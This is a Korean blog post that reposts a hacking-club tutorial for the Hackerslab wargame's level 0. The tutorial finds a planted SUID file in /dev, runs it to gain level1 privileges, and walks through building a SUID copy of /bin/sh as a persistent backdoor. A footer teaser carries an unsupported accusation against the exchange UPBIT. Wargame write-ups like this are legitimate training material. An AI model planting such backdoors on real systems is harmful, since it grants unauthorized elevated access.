2012년 5월 19일 토요일

걍 자료

나중에 해킹 서버 만들 때 써먹어야 겠네.

--------------------------------------

이번시간엔 해커스랩 레벨0문제를 한번 풀어봅시다..
이문서는 예전에 저희동호회[해자모]에 제가 작성했던
문서를 편집하여 올려드리는 것을 알려드립니다.. seung!
-----------------------------------------------------
level0
누군가 우리 시스템에 침입하여 백도어를 설치하여 두었다.
당신의 임무는 그 백도어를 악용하여 다음 레벨로 진입하는 것이다.
Hint - 디바이스도 아닌 것이 디바이스 드라이버 무리속에...
-----------------------------------------------------
우선 문제를 해석해봅시다..
백도어란.. 일반사용자가 루뜨권한을 획득하고 추후에 다시 들어왔을때
루뜨권한을 손쉽게 얻기위해 만들어 놓는 것입니다
즉 여기서는 처음 접속하면 level0 이니깐 누군가 level1 권한을 획득한후
level0 이 손쉽게 level1의 권한을 획득할수있도록 백도어를 설치해놓았다는
것이 되겠죠..
힌트가 디바이스가 아닌 것이 디바이스 무리속에..네요
윈도우 보면 c:\안에 windows , my docu~ , programfile 등 여러가지폴더를
보실수 있으실 것입니다 그런데..
윈도우98에서는 디스켓넣는부분을 a:\로 씨디롬은 d:\로 구별하는반면
리눅스는 드라이브역시 파일로 인식합니다.
즈 마우스나 씨디롬 하드등을요.. 하드웨어는 리눅스에서는 /dev라는
디렉토리에 집합을 합니다. 리눅스의 디렉토리 구조에 대해서 한번 찾아보세요
여기서 백도어는 SetUID 즉 Suid로 실행 순간 운영자의 권한을 얻는것을 말합니다
핵랩에서는 자기보다 높은 권한이 되겠죠?
suid에 대해서는 i.am/hacker4u 의 리눅스 자료실을 참조하시기 바랍니다
즉 문제를 해석해보면 /dev 디렉토리에 suid로된 백도어가 되었다는 말이되겠죠?
자 문제를 풀어볼까요?
텔넷연결 drill.hackerslab.org
login : level0
passwd : guest [한 3초쉬고 엔터]
[level0@drill level0]$ cd tmp [내 디렉토리에서 tmp 디렉토리로 들어가자]
[level0@drill tmp]$ find / -user level1 -group level0 -perm -4000 >list
여기서 위명령어는 / 전디렉토리에서 소유자가 level1 이고 그룹이 level0인
suid가 걸린 파일을 찾아서 list 라는 곳에 저장하여라는 말이예요
[level0@drill tmp]$ cat list [list를 확인해 볼까요?]
/dev/.hi
[level0@drill tmp]$ ls -al /dev/.hi [발견한 파일의 정보를 봅시다]
-rwsr-x--- 1 level1 level0 12900 Jan 28 2000 /dev/.hi
[level0@drill tmp]$
[level0@drill tmp]$ whoami [나는 누구인가?]
level0
[level0@drill tmp]$ /dev/.hi [백도어를 실행시켜 볼까요..]
[level0@drill tmp]$ whoami
level1
[level0@drill tmp]$ pass [이걸 치면 레벨1로가는 답이 나오겠죠?]
자 이번에는 우리가 직접 백도어를 만들어 봅시다
[level0@drill tmp]$ whoami ; pwd [내가 누구인가? 그리고 지금 어디에있지?]
level1
/home/level0/tmp
[level0@drill tmp]$ cp /bin/sh /home/level0/tmp/cs [cp A B => A를 B로 복사하라]
[level0@drill tmp]$ chmod 4755 cs [4755는 퍼미션을 준것으로 퍼미션참조바람]
[level0@drill tmp]$ ls -al cs [앗! rws.. suid..레벨0이 이걸 실행하면 레벨1이되겠군]
-rwsr-xr-x 1 level1 level0 373304 Aug 8 16:44 cs*
[level0@drill tmp]$ exit
exit
[level0@drill tmp]$ whoami
level0
[level0@drill tmp]$ ./cs [실행시켜볼까?]
[level0@drill tmp]$ whoami
level1
[level0@drill tmp]$

이게 끝입니다. 너무 시시하죠?
우선 한번 따라해보세요 처음하시는분은 어려우실수있으니..
이제부터 과제를 내겠습니다
물론 하는건 님들 자유구요.. 하면 도움될꺼예요
i.am/hacker4u 리눅스 자료실에서 suid 와 find , 퍼미션 , 백도어 ,리눅스명령어에
대해서 공부하셔서 q/a실로 제출하시기 바랍니다.
http://hackerslab.org/lecture/unix/index.html
이곳에도 꼭 가보시구요..
저 위에 명령어들에 대해 갈쳐달라고만 하지마시고
직접 찾아보시는 모습을 기대하겠습니다
그리고 ★퍼미션,suid,find 이해가 주된목적인 강좌입니다
이제 곧 2기도 들어오니깐 열심히 하는 모습을 보여줍시다.
이상 승의 강좌였습니다
-- s3ung h4ck3r --
-- Just Du 1t --

댓글 없음:

댓글 쓰기

국정원의 댓글 공작을 지탄합니다.

UPBIT is a South Korean company, and people died of suicide cause of coin investment.

 UPBIT is a South Korean company, and people died of suicide cause of coin. The company helps the people who control the market price manipu...